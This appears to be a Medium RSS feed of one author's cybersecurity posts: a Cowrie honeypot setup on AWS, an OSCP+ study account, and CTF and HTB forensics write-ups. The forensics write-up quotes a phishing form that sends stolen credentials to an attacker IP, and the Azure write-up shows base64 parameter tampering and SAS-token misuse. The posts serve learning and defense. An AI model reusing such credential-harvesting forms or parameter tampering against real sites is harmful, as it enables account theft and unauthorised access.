<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mythreya Hardur Madhukeshwara on Medium]]></title>
        <description><![CDATA[Stories by Mythreya Hardur Madhukeshwara on Medium]]></description>
        <link>https://medium.com/@hm.mythreya?source=rss-8c587fdf9e94------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*uzGvf_FYTKy8lffBnKN0cg.jpeg</url>
            <title>Stories by Mythreya Hardur Madhukeshwara on Medium</title>
            <link>https://medium.com/@hm.mythreya?source=rss-8c587fdf9e94------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 20:59:54 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hm.mythreya/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Set up a Honeypot server for free on AWS (with geoIP tracking)]]></title>
            <link>https://medium.com/@hm.mythreya/set-up-a-honeypot-server-for-free-on-aws-with-geoip-tracking-41b8dba6fef4?source=rss-8c587fdf9e94------2</link>
            <guid isPermaLink="false">https://medium.com/p/41b8dba6fef4</guid>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[grafana]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mythreya Hardur Madhukeshwara]]></dc:creator>
            <pubDate>Wed, 15 Apr 2026 22:20:10 GMT</pubDate>
            <atom:updated>2026-04-21T19:30:58.671Z</atom:updated>
            <content:encoded><![CDATA[<p>In this blog, I’ll show you how to setup a honeypot server using cowrie on AWS. Then we’ll setup alloy, grafana’s collector, to ingest logs into grafana, where we can take the logs and build useful metrics, including a geoIP map!</p><p>First, let’s create an EC2 instance:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IDOQf-lUl9ay9KC26YzOKA.png" /><figcaption>Ubuntu Server 24.04 LTS running on t3.micro</figcaption></figure><p>The t3.micro instance type is eligible for free tier. Leave all settings default, and make sure to generate a key pair so we can use it to login to our instance. Create the instance and wait for it to boot. Meanwhile, configure your security group like so:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n3r2rTNd75XMyH82i4icjw.png" /></figure><p>I will be moving the instance ssh to port 22222, and setting up port 22 with cowrie as bait. This is why port 22 is open to all of the internet, but 22222 is open to just my personal machine.</p><p>Now, using the key file, SSH into the instance:</p><pre>ssh ubuntu@&lt;instance-ip&gt; -i ssh-main.pem</pre><p>The first thing we’re gonna do is move SSH to 22222. You can do this by editing the /etc/ssh/sshd_config file. Uncomment the Port line, and change it to 22222. Then, run the following two commands:</p><pre>systemctl daemon-reload<br>systemctl restart ssh.socket</pre><p>Now connect to the new ssh port:</p><pre>ssh ubuntu@&lt;instance-ip&gt; -i ssh-main.pem -p 22222</pre><p>If everything was setup correctly, you should be back in your instance, and if you try SSH’ing without specifying the port, you’ll notice it will not work.</p><p>Now, let’s setup cowrie, run this command to install the necessary packages:</p><pre>sudo apt update &amp;&amp; sudo apt install -y git python3-venv python3-dev libssl-dev libffi-dev build-essential</pre><p>Now let’s create a new user that will run cowrie:</p><pre>sudo adduser --disabled-password cowrie</pre><p>Cowrie by default runs on port 2222, and we can’t change this to 22, since all ports under 1024 require root permissions. We don’t want to give our cowrie user root permissions, so let’s route all connections from 22 to 2222 instead:</p><pre>sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222</pre><p>We’re finally ready to install cowrie. Let’s switch over to cowrie user, and clone the repository:</p><pre>sudo su - cowrie<br>git clone https://github.com/cowrie/cowrie<br>cd cowrie</pre><p>Create a new virtual environment, and install the requirements:</p><pre>python3 -m venv cowrie-env<br>source cowrie-env/bin/activate<br>python -m pip install -e .</pre><p>After it installs all the requirements, we can configure the userdb.txt file. This is the file that contains users and credentials that you want your honeypot to have. This file should be in &lt;cowrie-root&gt;/etc/userdb.txt</p><p>Mine looks like this:</p><pre>root:x:root<br>tomcat:x:*<br>oracle:x:*</pre><p>To understand the format, refer to userdb.example in the same directory and create your own file. Let’s start cowrie:</p><pre>cowrie start</pre><p>Confirm it is running:</p><pre>cowrie status</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*CFosRuPXJjPV_lebDp8QXQ.png" /></figure><p>That’s pretty much it! We have a honeypot server listening on 22. Whenever a user tries to ssh into 22, they are in an honeypot environment. Even with a jailbreak (cowrie is opensource and relatively safe, so this should’nt happen), they are a user called “cowrie” with no permissions or groups. That being said, you should make sure your ec2 instance has no IAM permissions anyway. Defense in depth is the best practice here.</p><p>Let’s connect to our instance from a machine to test it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*-vsCm2MdQb6ztSll8f73Cw.png" /></figure><p>As you can see, we are now in our honeypot. This is what it would look like from an external attacker’s perspective. You can customize the login banner, change the filesystem to have fake password files and documents, and more. You can read more here:<br><a href="https://docs.cowrie.org/en/latest/index.html">https://docs.cowrie.org/en/latest/index.html</a></p><p>Let’s check logs now that we “attacked” our own honeypot. The logs can be found at &lt;cowrie-root&gt;/var/log/cowrie</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uh4c6FIBxuHGGto2TXgzjw.png" /></figure><p>As you can see, I ran a few commands after logging in, and all of the commands that are run are being logged. You can even check the IP Address of the source, and a fun project would be to use geo-ip to map all the sources to see where your attackers are coming from!</p><p>I did that with grafana. Head over to grafana cloud’s website, make an account, and follow the steps to add a collector. Run the collector commands on your honeypot server. Once installed, add this to the config file /etc/alloy/config.alloy:</p><pre>// Cowrie Honeypot JSON Logs<br>local.file_match &quot;cowrie_logs&quot; {<br>  path_targets = [{<br>    &quot;__path__&quot;     = &quot;/home/cowrie/cowrie/var/log/cowrie/cowrie.json&quot;,<br>    &quot;service_name&quot; = &quot;cowrie_logs&quot;,<br>  }]<br>}<br><br>// Enrichment Stage: IP to Location<br>loki.process &quot;geoip_enrichment&quot; {<br>  stage.json {<br>    expressions = { src_ip = &quot;src_ip&quot; }<br>  }<br><br>  stage.geoip {<br>    db = &quot;/var/lib/geoip/GeoLite2-City.mmdb&quot;<br>    source = &quot;src_ip&quot;<br>    db_type = &quot;city&quot;  <br>}<br><br>  stage.labels {<br>    values = {<br>      geoip_country = &quot;geoip_country_name&quot;,<br>      geoip_city    = &quot;geoip_city_name&quot;,<br>      lat           = &quot;geoip_location_latitude&quot;,<br>      lon           = &quot;geoip_location_longitude&quot;,<br>    }<br>  }<br><br>  forward_to = [loki.write.grafana_cloud_loki.receiver]<br>}<br><br>loki.source.file &quot;cowrie_json_scraper&quot; {<br>  targets    = local.file_match.cowrie_logs.targets<br>  forward_to = [loki.process.geoip_enrichment.receiver]<br>}</pre><p>Head over to maxmind, create an account. Then download the “GeoLite City” GZIP file and transfer it to your honeypot server. Place it in<br>“/var/lib/geoip/GeoLite2-City.mmdb”.</p><p>In grafana, create a dashboard, then create a panel. Add this query as code:</p><pre>sum by (lat, lon, geoip_city) (<br>  count_over_time(<br>    {service_name=&quot;cowrie_logs&quot;} <br>    | json <br>    | lat != &quot;&quot; and lon != &quot;&quot; <br>    [$__range]<br>  )<br>)</pre><p>Under query options, change type to “Instant”.</p><p>In the top right menu, head over to visualization, and choose Geomap. Set layer type to “Markers”. Set the Data field to the name of the query (default : “A”). Set location mode to “Auto”. Hit run query and refresh and wait. Eventually, you’ll see the map populate. Once you’ve confirmed it’s working, save the panel. Here’s what mine looked like after a couple of days:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IrFNEh9ugJR8Mc75WNHTmQ.png" /></figure><p>You can customize the the dots to be different colors, size, or a different .svg file entirely. You can also have this grow in size based on a value that you can set (for example, number of attacks from a city).</p><p>I also setup some other metrics:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tDWsffJ0V2-MFdEBLIqryw.png" /></figure><p>That’s pretty much it. Feel free to reach out on linkedin if you have any questions. Thank you for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=41b8dba6fef4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My 6 month OSCP+ journey]]></title>
            <link>https://medium.com/@hm.mythreya/my-6-month-oscp-journey-ba86eeb71b93?source=rss-8c587fdf9e94------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba86eeb71b93</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[oscp-certification]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <dc:creator><![CDATA[Mythreya Hardur Madhukeshwara]]></dc:creator>
            <pubDate>Tue, 22 Apr 2025 19:37:03 GMT</pubDate>
            <atom:updated>2025-04-22T19:37:03.918Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone. Today, I got my OSCP+ Certification! This has been in the works for over 6 months now. I want to share my experience so people can learn from my mistakes and do better!</p><p>I started back in October of 2024, with a subscription to HTB Academy. The CPTS course is really good, often considered better than the PEN-200. The course goes into depth where PEN-200 doesn’t, and each module has unique and fun labs at the end that correspond to that module’s teachings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4BmUUNE0h8Jw4dLrQ4AaUw.png" /><figcaption>HTB’s CPTS Cert and Course</figcaption></figure><p>I would recommend doing it in it’s entirety. I only ended up doing about 60% of the course.</p><p>After 2 months of this, I bought the PEN-200 90 day lab access. Here’s where I did a huge mistake, and I hope other people reading this will avoid it. I decided to focus only on the PEN-200 course and did not supplement it with anything else. I had planned to finish the PEN-200, and then follow it up with HTB Boxes and PG Boxes from <a href="https://docs.google.com/spreadsheets/d/18weuz_Eeynr6sXFQ87Cd5F0slOj9Z6rt/edit?gid=487240997#gid=487240997">Lain’s list</a>. What I should have done, is start on the boxes right from the start.</p><p>There’s two things you need to do to learn well: Repetition and Active recall. My learning contained neither of those. After I finished a module on SQLi, I moved on to the next. Instead, doing SQLi boxes, puzzles and challenges as I did the modules, would have made me understand it better.</p><p>I did about 75% of the PEN-200 course, took me around a month, with 4–6 hours a day, and 8+ hours on the weekends. Finally, I started doing boxes. This is where the actual learning happened. This is where I actually found my weaknesses, my mistakes, gaps in methodology, etc. This is when I realized I should have started on these boxes much earlier.</p><p>I am going to be honest, for most boxes, I needed hints to solve them. Don’t be afraid of looking at hints! It just means you haven’t seen this type of attack vector/path yet. However, do try to solve it on your own for about 1–2 hours, before looking at a hint. I would recommend looking at hints just to get past where your stuck, and continue on with the box on your own. Don’t spoil the entire box just because you got stuck in one place.</p><p>Here’s the most important tip: TAKE NOTES. Every box you solve, make sure to take notes. And whenever you find that your methodology was lacking, append it! The whole point of doing these boxes is to improve and practice your methodology. I have a note in my obsidian vault named “Methodology” that contains 100’s of lines and checklists, that I constantly update and refer to.</p><h3>Exam Time</h3><p>Finally, the day came for me to give my exam. After some much needed push from my friends, I bit the bullet and scheduled it on a weekend. The exam started off with setting up my proctoring session. That went really smoothly for me, I had no issues. After connecting to the VPN, I was off to hacking. One thing I would recommend doing is lowering MTU rates:</p><pre>sudo ifconfig tun0 mtu 1250</pre><p>During the exam, a particular exploit was not working until I lowered the mtu to 1250! So make sure to try lowering it if you think an exploit should work, but isn’t.</p><p>Make sure to take screenshots of every command you run, filter later what screenshots you don’t need, you have 24 hours to document so this shouldn’t be too hard.</p><p>I started off the exam with the AD part, and was stuck on it for about 2–3 hours. At this point I took a break from AD, and moved on to the standalones. To my surprise, I was able to fully root 2 standalone boxes within an hour. 40 points done! I decided to take a break and come back, but got stuck for a long time on the AD. Here’s where I did another mistake that could have cost me my exam. I did not sleep enough. I slept for about 1–2 hours, but not more than that. This definitely affected my problem solving skills, and I was getting nowhere in the AD part.</p><p>When there was around 8 hours remaining, I realized I missed something super easy and silly, which would have never happened if I rested properly. Shortly after that I was able to compromise the domain. 80 points!</p><p>I took a break and got some good rest. After coming back, I tried to get the final 20 points. I was able to find the vulnerability, but failed to exploit it. Around 5 hours remained, and I decided to give up on the last 20 points, since I was already exhausted, and I had enough to pass. I reset all the boxes, and did a walkthrough of my own notes, to make sure I had all commands and screenshots necessary, and with 4 hours remaining, I ended my exam.</p><p>The report was straightforward. I just put all my commands and screenshots associated with them, with a few notes here and there explaining what I was trying to do. I did not use Offsec’s template, or any other template on the internet, just started with a blank document.</p><p>After 2 days, I got the mail from Offsec confirming that I passed. Overall, a super valuable experience! I enjoyed every minute of the exam, even when I was stuck and frustrated. Offsec’s “Try Harder” motto really holds true for this exam. You have to keep trying and trying till you win.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HCeYogvVmSUjD5bKASUnVw.png" /></figure><p>Feel free to reach out if you need any help with OSCP prep.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba86eeb71b93" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Sherlock — Bumblebee]]></title>
            <link>https://medium.com/@hm.mythreya/htb-sherlock-bumblebee-5a4bef3b684d?source=rss-8c587fdf9e94------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a4bef3b684d</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[dfir]]></category>
            <dc:creator><![CDATA[Mythreya Hardur Madhukeshwara]]></dc:creator>
            <pubDate>Tue, 15 Apr 2025 23:51:24 GMT</pubDate>
            <atom:updated>2025-04-15T23:51:24.708Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB Sherlock — Bumblebee</h3><blockquote>Sherlock Scenario<br>An external contractor has accessed the internal forum here at Forela via the Guest Wi-Fi, and they appear to have stolen credentials for the administrative user! We have attached some logs from the forum and a full database dump in sqlite3 format to help you in your investigation.</blockquote><p>The challenge gives us 2 files: access.log and phpbb.sqlite3. We can look at access.log using a text editor like vim</p><pre>vim access.log</pre><p>We can look at phpbb.sqlite3 using sqlite3</p><pre>sqlite3 phpbb.sqlite3</pre><blockquote>What was the username of the external contractor?</blockquote><p>Let’s look at the sqlite3 database</p><pre>.tables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*gO-SSzf5FreisXZqG5lnfA.png" /></figure><p>We have a users table: phpbb_users</p><pre>select * from phpbb_users;</pre><p>The last entry reveals an email apoole1@contractor.net<br>The username is apoole1 (Note: there is another contractor.net email called apoole@contractor.net, but that did not have any login activity, which you could see in the output of the table)</p><blockquote>What IP address did the contractor use to create their account?</blockquote><p>Looking at that same record, there is an IP address at the start: 10.10.0.78<br>But let’s confirm what column this actually is:</p><pre>PRAGMA table_info(phpbb_users);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*2mM5afPoHXZbuGfOCOchHA.png" /></figure><p>This shows that this is indeed the user IP</p><blockquote>What is the post_id of the malicious post that the contractor made?</blockquote><p>There is a table called phpbb_posts, let&#39;s see what&#39;s in there</p><pre>select * from phpbb_posts</pre><p>There is a lot of output, let’s just see the posts from the contractor.</p><pre>PRAGMA table_info(phpbb_posts)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*4K0yY22rW-g2wz2kc-bz-g.png" /></figure><p>We can use poster_ip to match to 10.10.0.78</p><pre>select * from phpbb_posts where poster_ip = &quot;10.10.0.78&quot;;</pre><p>This returns only one post, and it’s post_id is equal to 9</p><blockquote>What is the full URI that the credential stealer sends its data to?</blockquote><p>Looking at the malicious post, there is a section that sends credentials to 10.10.0.78:</p><pre>&lt;form action=&quot;http://10.10.0.78/update.php&quot; method=&quot;post&quot; id=&quot;login&quot; data-focus=&quot;username&quot; target=&quot;hiddenframe&quot;&gt;</pre><blockquote>http://10.10.0.78/update.php</blockquote><blockquote>When did the contractor log into the forum as the administrator? (UTC)</blockquote><p>There is a table called phpbb_log</p><pre>select * from phpbb_log;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nMVsHEeckMpWOMgjloQ3ww.png" /></figure><p>There are two entries here, 51 and 61 that indicate that administrator logged in. The first one does not seem to be malicious, it looks like the actual administrator logged in, set up the apoole account. The 2nd one looks like the admin added a user to the administrator group, and performed a DB_BACKUP, which might be related to exfiltration.</p><p>61 -&gt; malicious login. Time: 1682506392</p><p>This is in Unix epoch time, we can convert it to human date using a website like epochconverter.com</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*7YnuVEfgDK_AFyxnEpv-Zg.png" /></figure><blockquote>26/04/2023 10:53:12</blockquote><blockquote>In the forum there are plaintext credentials for the LDAP connection, what is the password?</blockquote><p>For this, we can look at the phpbb_config table</p><pre>PRAGMA table_info(phpbb_config);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*95BGN3yXd48zpUQ6IzZt5w.png" /></figure><p>We are interested in the config_value</p><pre>select config_value from phpbb_config;</pre><p>Going through the output, we see an ldap query, along with credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*-izFYReYtaJrrZCb4K14Kw.png" /></figure><blockquote>Passw0rd1</blockquote><blockquote>What is the user agent of the Administrator user?</blockquote><p>Looking at access.log, we see GET /adm requests throughout the file, we can get the user agent from there</p><blockquote>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36</blockquote><blockquote>What time did the contractor add themselves to the Administrator group? (UTC)</blockquote><p>From the table phpbb_log that we looked at earlier, we can get the Unix epoch time: 1682506431</p><blockquote>26/04/2023 10:53:51</blockquote><blockquote>What time did the contractor download the database backup? (UTC)</blockquote><p>Looking at phpbb_log we see that they took the backup of the database around 26/04/2023 10:54:31. To look at when they downloaded it, we can check access.log for logs after this time.<br>Line 695 tells us the time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L19JVORhNZX1Fg1oaprdrw.png" /></figure><blockquote>26/04/2023 12:01:38</blockquote><p>For some reason, submitting this was not working in htb. I checked the writeup and sure enough, the screenshots say 12:01:38, but there is a type by the author of the box/writeup and the answer is indicated as 11:01:38, so on htb the correct answer is : 26/04/2023 11:01:38</p><blockquote>What was the size in bytes of the database backup as stated by access.log?</blockquote><p>Looking at the HTTP request, we can see that it’s 34707 bytes.</p><p>That concludes the writeup for this sherlock! It is a good sherlock to do to get a refresher on sql/sqlite3. Thanks for reading!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*Nyma2zLzUnNu4ZrSb3tMlg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a4bef3b684d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cloud Village CTF — Storage Showdown Remastered]]></title>
            <link>https://medium.com/@hm.mythreya/cloud-village-ctf-storage-showdown-remastered-3edd4373a9d7?source=rss-8c587fdf9e94------2</link>
            <guid isPermaLink="false">https://medium.com/p/3edd4373a9d7</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mythreya Hardur Madhukeshwara]]></dc:creator>
            <pubDate>Mon, 14 Apr 2025 17:03:07 GMT</pubDate>
            <atom:updated>2025-04-14T17:03:07.326Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cloud Village CTF — Storage Showdown Remastered</h3><p>Cloud village hosted a CTF at the recent BSides Charm event at Baltimore, MD between Apr 12–13, 2025. This is a writeup of one the challenge titled “Storage Showdown Remastered”, an azure cloud challenge!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*5afNtfuDHvhtJq43pE3lVw.png" /></figure><p>(DISCLAIMER: I do not understand how I solved this, a lot of it was trial and error, and getting lucky in the end, I do not understand <em>why</em> it works, you’ll see what I mean towards the end.)</p><p>The provided url leads us to a simple web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F2mkEMlYZbRNOGsilKPiDA.png" /></figure><p>Checking the source code of the webpage reveals a hidden link:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HkFihz6-RtJc768WNK9SWg.png" /></figure><p>Visiting this link gives us an authorization failure response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*gJgGUM4r7K6gdx9vjOoeWA.png" /></figure><p>Upon closer inspection of the url, I realized that the end of it looks like it could be base64 encoded.</p><blockquote>https://prod-15.northcentralus.logic.azure.com/.../...fc&amp;uid=Y3RmcGxheWVyPXVzZXI=</blockquote><p>Let’s decode it</p><pre>echo -n Y3RmcGxheWVyPXVzZXI= | base64 -d -w 0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*sd8JZJMqA9LK9ezIjFrnLw.png" /></figure><p>This seems to be requesting this particular resource as the user user. Let’s try changing this, first thing that comes to mind is admin.</p><pre>echo -n &quot;ctfplayer=admin&quot; | base64 -w 0</pre><blockquote>Y3RmcGxheWVyPWFkbWlu</blockquote><p>Modifying the url with this base64 encoded message gives us a different response, we are making progress.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uprJRxhMuow1j4gGy5DoMA.png" /></figure><p>Looks like there is another url here, with a note requesting it’s deletion, let’s check if it’s not deleted yet.</p><p>Visiting it gives us this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1jlv1O0obkfA1_nPDQoynA.png" /></figure><p>Looks like we got some sort of signature error.</p><p>Since it was giving a signature mismatch error, I (wrongly) concluded that the container isn’t named admin and this signature is for something else.</p><p>I tried different container names like root$, root, storage, etc. but none of them worked.</p><p>I went back to the previous page and found something in the output I had missed:</p><blockquote>“handler” = “svc_storageadmin_02”</blockquote><p>Now I did not understand what this meant, but I thought “hey that looks like a container name”.</p><p>I tried this as the container name instead of /admin but that didn’t work either. Additionally I tried svc,storageadmin, and svc_storageadmin_01, svc_storageadmin_03... and so on.</p><p>I thought maybe I could write a script to try container names till some number like svc_storageadmin_100 but brute force should always be the last resort, so instead I went back to the documentation to see if I missed something.</p><p>After some good old googling, I found <a href="https://learn.microsoft.com/en-us/rest/api/storageservices/create-service-sas">this</a>. I will not attempt to explain this since I don’t fully understand it myself, but the part we’re interested in is the Specify permissions section. This section explains the sp parameter and has a table with the list of different permissions. The rest of the article also explains the other parameters we saw in the url like sv sr, etc.</p><p>Here&#39;s a summary:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*xPNsb8n51O0y-aQANW5jNQ.png" /></figure><p>The thing that is most important here is the sp=rl part. The rl permissions say we can read and list.</p><p>Ok so admin did not work, and we tried different container names, but now we know we have list permissions, the question is how do we tell Azure to list the containers.</p><p>I came across <a href="https://learn.microsoft.com/en-us/rest/api/storageservices/get-container-properties?tabs=microsoft-entra-id">this</a> and <a href="https://learn.microsoft.com/en-us/rest/api/storageservices/list-containers2?tabs=microsoft-entra-id">this</a> part of the documentation.</p><p>According to the documentation, comp=list can be specified in the url:</p><blockquote>The List Containers operation returns a list of the containers under the specified storage account</blockquote><p>Perfect, we can now list what containers are available and combined with restype=container, we can get each container&#39;s properties.</p><p>The final url looked like this:</p><blockquote>https://storageshowdownstorage.blob.core.windows.net/admin?restype=container&amp;comp=list&amp;sp=rl&amp;st=2025-03-03T00:25:24Z&amp;se=2026-07-09T07:25:24Z&amp;spr=https&amp;sv=2022-11-02&amp;sr=c&amp;sig=cfxY1WKDbfIFwvyRwbrVKMxU4Sx9CGXI%2FaNVZu04Xtw%3D</blockquote><p>Visiting the url gave us this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*zzh9q2tn8pwo4qJvVav5DA.png" /></figure><p>This is where I was confused. My understanding is that comp=list lists all containers under the current specified storage account. admin is a container name. Why is the admin part required in the url? My understanding is: ..../?restype=container&amp;comp=list.... should return all the containers along with their properties but instead errors out. Specifying the container name admin and then using our rl permissions with comp=list and restype=container seems to give us this output.</p><p>If you know why, let me know, thanks!</p><p>Anyways, since we also have read permissions, we can just retrieve flag.txt by visiting this url:</p><blockquote>https://storageshowdownstorage.blob.core.windows.net/admin/flag.txt?sp=rl&amp;st=2025-03-03T00:25:24Z&amp;se=2026-07-09T07:25:24Z&amp;spr=https&amp;sv=2022-11-02&amp;sr=c&amp;sig=cfxY1WKDbfIFwvyRwbrVKMxU4Sx9CGXI%2FaNVZu04Xtw%3D</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*cU5-iF2rnLTm02WfgOFxoA.png" /><figcaption>Got the flag!</figcaption></figure><p>This is hilarious, after trying so much, the flag was just….there. Appending a flag.txt after /admin would have given us the url: /admin/flag.txt....., and this was honestly a plausible guess, am sure some players would have tried it and gotten it without having to break their brains for hours. Oh well, at least this way I learnt something (I think?)</p><p>Check out my writeup on two other challenges from this CTF <a href="https://medium.com/@hm.mythreya/cloud-village-ctf-case-of-the-missing-flag-bd5f12a152ea">here</a> and <a href="https://medium.com/@hm.mythreya/cloud-village-ctf-crabs-on-the-loose-1982cf35291f">here</a>.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3edd4373a9d7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cloud Village CTF — Crabs on the Loose]]></title>
            <link>https://medium.com/@hm.mythreya/cloud-village-ctf-crabs-on-the-loose-1982cf35291f?source=rss-8c587fdf9e94------2</link>
            <guid isPermaLink="false">https://medium.com/p/1982cf35291f</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[steganography]]></category>
            <dc:creator><![CDATA[Mythreya Hardur Madhukeshwara]]></dc:creator>
            <pubDate>Mon, 14 Apr 2025 16:50:07 GMT</pubDate>
            <atom:updated>2025-04-14T17:57:49.622Z</atom:updated>
            <content:encoded><![CDATA[<p>Cloud village hosted a CTF at the recent BSides Charm event at Baltimore, MD between Apr 12–13, 2025. This is a writeup of one the challenge titled “Crabs on the Loose”, a steganography challenge!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*883QcXdH93Fxt5C6ANwLIA.png" /></figure><p>The url leads to a website that asks you to enter a secret code. There is also a background image, and since this challenge was under Stegnography, I downloaded the background image and got to work</p><p>First I used steghide</p><pre>steghide extract -sf crab_pot.png</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*-e7m-rn__R7GmLUE2Bn_6w.png" /></figure><p>Turns out steghide does not support png. Ok, let’s try binwalk.</p><pre>binwalk crab_pot.png</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VyuzdayumxS4OR4loS5aTw.png" /></figure><p>Nice, we’re getting somewhere. Let’s extract this:</p><pre>binwalk --dd=&#39;.*&#39; crab_pot.png</pre><p>I ran file on all the extracted files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sqZHhna1F73X3l5BlwjFDQ.png" /></figure><p>There are 2 images here. I tried steghide on 3841 and binwalk on 0 and 3841 but that did not lead anywhere.</p><p>I turned my attention to zlib. Let’s extract it:</p><pre>zlib-flate -uncompress &lt; 139B3-0 &gt; zlib_out</pre><p>But zlib_out did not have anything useful (note: I ran strings and xxd on it to try and find something.)</p><p>I also ran strings and xxd on the other files but could not find anything.</p><p>After the CTF concluded (but before the challenges were taken down), my CTF teammate found this <a href="https://x.com/cloudvillage_dc/status/1911071815385989283">tweet</a> by the official cloudvillage “X” account. (He found it by just googling The Crabs are on the Loose, which was the name of the challenge and the title of the website.)</p><p>The tweet contains a hint: The image is hidden where they first plotted—in the Discord.</p><p>I joined the discord and found an image in one of the channels. After viewing that image in a new tab, and trying to save it, discord kept trying to download it is a .webp which is not supported by steghide (Note: I did download the .webp and tried binwalk and steghide on it).</p><p>At the end of the url, there is a parameter &amp;format=webp, removing this and then trying to download it, allowed me to download it as a jpg file.</p><p>Great, now we can try extracting data from it:</p><pre>steghide extract -sf Cyberpunk_Crabs_Escapes_Brighter.jpg</pre><p>I tried a blank password (just hit enter when steghide asks for password) and we got something!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*KCFRxKTGmk-ojsfD-1ULyQ.png" /></figure><p>This text file contained crab_escape.</p><p>Entering this in the website gave us the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*35aeWimvq6qgqeFzn7bmyg.png" /></figure><p>Well I guess from now on am going to google the challenge name to see if the ctf designers try to get tricky and hide the actual challenge in a tweet :D</p><p>Check out my writeups on two other challenges from this CTF <a href="https://medium.com/@hm.mythreya/cloud-village-ctf-case-of-the-missing-flag-bd5f12a152ea">here</a> and <a href="https://medium.com/@hm.mythreya/cloud-village-ctf-storage-showdown-remastered-3edd4373a9d7">here</a>.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1982cf35291f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
